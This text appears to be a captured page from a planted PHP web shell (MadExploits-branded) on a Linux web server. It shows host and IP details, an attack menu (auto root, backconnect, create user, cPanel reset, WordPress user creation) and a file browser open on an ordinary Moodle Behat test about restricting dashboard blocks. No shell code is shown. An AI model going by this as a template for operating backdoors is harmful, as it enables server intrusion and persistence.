Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.177
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
my /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
add_blocks.feature
1.04
KB
-rw-rw-r--
reset_all_pages.feature
4.3
KB
-rw-rw-r--
reset_page.feature
1.08
KB
-rw-rw-r--
restrict_available_blocks.feat...
1.7
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restrict_available_blocks.feature
@core @core_my Feature: Restrict which blocks can be added to Dashboard In order to restrict which blocks can be added As a student I need to ensure I can add the blocks As an admin I need to remove the capability to add a blocks As a student I need to ensure I can't add the blocks any more Background: Given the following "users" exist: | username | firstname | lastname | email | | student1 | Student | 1 | student1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And the following "course enrolments" exist: | user | course | role | | student1 | C1 | student | Scenario: The comments block can be added to Dashboard by default And I log in as "student1" And I press "Customise this page" Then the add block selector should contain "Comments" block And the add block selector should contain "Courses" block And the add block selector should contain "HTML" block And the add block selector should contain "Tags" block Scenario: Remove the ability to add the comments block to Dashboard When I log in as "admin" And I set the following system permissions of "Authenticated user" role: | block/comments:myaddinstance | Prohibit | | block/course_list:myaddinstance | Prohibit | | block/html:myaddinstance | Prohibit | And I log out And I log in as "student1" And I press "Customise this page" Then the add block selector should not contain "Comments" block And the add block selector should not contain "Courses" block And the add block selector should not contain "HTML" block And the add block selector should contain "Tags" block
Close